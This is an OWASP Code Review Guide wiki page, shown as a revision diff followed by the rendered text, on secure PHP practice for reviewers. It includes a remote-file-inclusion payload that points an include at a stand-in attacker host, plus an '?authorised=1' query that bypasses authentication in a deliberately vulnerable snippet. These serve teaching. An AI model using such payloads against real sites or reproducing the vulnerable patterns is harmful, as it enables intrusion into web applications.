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Difference between revisions of "PHP Security Leading Practice"

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(New page: ===Global Variables=== One does not need to explicitly create "global variables" this is done via the php.ini file by setting the "register_globals" function on. Appending global variable...)
 
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===Global Variables===
 
===Global Variables===
 +
One does not need to explicitly create "global variables." This is done via the php.ini file by setting the "register_globals" function on. register_globals has been disabled by default since PHP 4.1.0
 +
 +
Include directives in PHP can be vulnerable if register_globals is enabled.
 +
 +
<?PHP
 +
 +
include "$dir/script/dostuff.php";
 +
 
 +
?>
 +
 +
With register_globals enabled the $dir variable can be passed in via the query string:
 +
 
 +
?dir=http://www.haxor.com/gimmeeverything.php
 +
 +
This would result in the $dir being set to:
 +
 +
<?PHP
 +
 +
include "http://www.haxor.com/gimmeeverything.php";
 +
 +
?>
 +
 +
Appending global variables to the URL may be a way to circumvent authentication:
 +
 +
<?PHP
 +
if(authenticated_user())
 +
{
 +
  $authorised=true;
 +
}
 +
 +
if($authorised)
 +
{
 +
  give_family_jewels()
 +
}
 +
 +
?>
  
−
One does not need to explicitly create "global variables" this is done via the php.ini file by setting the "register_globals" function on.
+
If this page was requested with register_globals enabled, using the following parameter ?authorised=1 in the query string the athentication function assumes the user is authorised to proceed. Without register_globals enabled, the variable $authorised would not be affected by the $authorised=1 parameter.
−
Appending global variables to the URL may be a way to circumvent authentication.
+
 
 +
=== Initialization===
 +
When reviewing PHP code, make sure you can see the initialization value is in a "secure default" state.  
 +
 
 +
For example $authorised = false;
  
 
===Error handling===
 
===Error handling===
 
If possible check if one has turned off error reporting via php.ini and if "error_reporting" off.
 
If possible check if one has turned off error reporting via php.ini and if "error_reporting" off.
 +
It is prudent to examine if '''E_ALL''' is enabled, this ensures all errors and warnings are reported.
 +
'''display_errors''' should be set to '''off''' in production
  
 
===File Manipulation===
 
===File Manipulation===
−
===Good Things to Use===
+
 
−
strip_tags():
+
'''allow_url_fopen''' is enabled by default in PHP.ini This allows URLs to be treated like local files.
−
Removes any HTML from a String
+
URLs with malicious scripting may be included and treated like a local file.
 +
 
 +
====Files in the document root====
 +
At times one must have include files in the document root, and these *.inc files are not to be accessed directly. If this is the case, and during the review you find such files in the root, then examine httpd.conf. For example:
 +
 
 +
<Files"\.inc">
 +
    Order allow, deny
 +
    deny from all
 +
</Files>
 +
 
 +
===HTTP request Handling===
 +
The Dispatch method is used as a "funnel" wherein all requests are passed through it. One does not access other PHP files directly, but rather via the dispatch.php. This could be akin to a global input validation class wherein all traffic passes.
 +
 
 +
http://www.example.com/dispatch.php?fid=dostuff
 +
 
 +
Relating to security, it is leading practice to implement validation at the top of this file. All other modules required can be  '''include''' or '''require''' and in a different directory.
 +
 
 +
'''Including a method'''
 +
 
 +
If a dispatch.php method is not being used, look for includes at the top of each php file. The '''include''' method may set a state such that the request can proceed.
 +
 
 +
It may be a good idea to check out PHP.ini and look for the '''auto_prepend_file''' directive. This may reference an automatic include for all files.
 +
 
 +
===Positive input validation===
 +
'''Input validation''':
 +
strip_tags(): Removes any HTML from a String
 
nl2br(): Converts new line characters to HTML break "br"  
 
nl2br(): Converts new line characters to HTML break "br"  
−
htmlspecialchars():
+
htmlspecialchars():Convert special characters to HTML entities
 +
 
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{{LinkBar
 +
  | useprev=PrevLink | prev=Classic ASP Design Mistakes | lblprev=
 +
  | usemain=MainLink | main=OWASP Code Review Guide Table of Contents | lblmain=Table of Contents
 +
  | usenext=NextLink | next=Strings and Integers | lblnext=
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}}
 +
 
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[[Category:OWASP Code Review Project]]

Latest revision as of 16:48, 9 September 2010

«««« Main
(Table of Contents) 		»»»»

Global Variables

One does not need to explicitly create "global variables." This is done via the php.ini file by setting the "register_globals" function on. register_globals has been disabled by default since PHP 4.1.0

Include directives in PHP can be vulnerable if register_globals is enabled. 

<?PHP

include "$dir/script/dostuff.php";
 
?>

With register_globals enabled the $dir variable can be passed in via the query string: 

?dir=http://www.haxor.com/gimmeeverything.php

This would result in the $dir being set to: 

<?PHP

include "http://www.haxor.com/gimmeeverything.php";

?>

Appending global variables to the URL may be a way to circumvent authentication: 

<?PHP
if(authenticated_user())
{
 $authorised=true;
}

if($authorised)
{
 give_family_jewels()
}

?>

If this page was requested with register_globals enabled, using the following parameter ?authorised=1 in the query string the athentication function assumes the user is authorised to proceed. Without register_globals enabled, the variable $authorised would not be affected by the $authorised=1 parameter.

Initialization

When reviewing PHP code, make sure you can see the initialization value is in a "secure default" state.

For example $authorised = false;

Error handling

If possible check if one has turned off error reporting via php.ini and if "error_reporting" off. It is prudent to examine if E_ALL is enabled, this ensures all errors and warnings are reported. display_errors should be set to off in production

File Manipulation

allow_url_fopen is enabled by default in PHP.ini This allows URLs to be treated like local files. URLs with malicious scripting may be included and treated like a local file.

Files in the document root

At times one must have include files in the document root, and these *.inc files are not to be accessed directly. If this is the case, and during the review you find such files in the root, then examine httpd.conf. For example: 

<Files"\.inc">
   Order allow, deny
   deny from all
</Files>

HTTP request Handling

The Dispatch method is used as a "funnel" wherein all requests are passed through it. One does not access other PHP files directly, but rather via the dispatch.php. This could be akin to a global input validation class wherein all traffic passes. 

http://www.example.com/dispatch.php?fid=dostuff

Relating to security, it is leading practice to implement validation at the top of this file. All other modules required can be include or require and in a different directory.

Including a method

If a dispatch.php method is not being used, look for includes at the top of each php file. The include method may set a state such that the request can proceed.

It may be a good idea to check out PHP.ini and look for the auto_prepend_file directive. This may reference an automatic include for all files.

Positive input validation

Input validation: strip_tags(): Removes any HTML from a String nl2br(): Converts new line characters to HTML break "br" htmlspecialchars():Convert special characters to HTML entities


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(Table of Contents) 		»»»»
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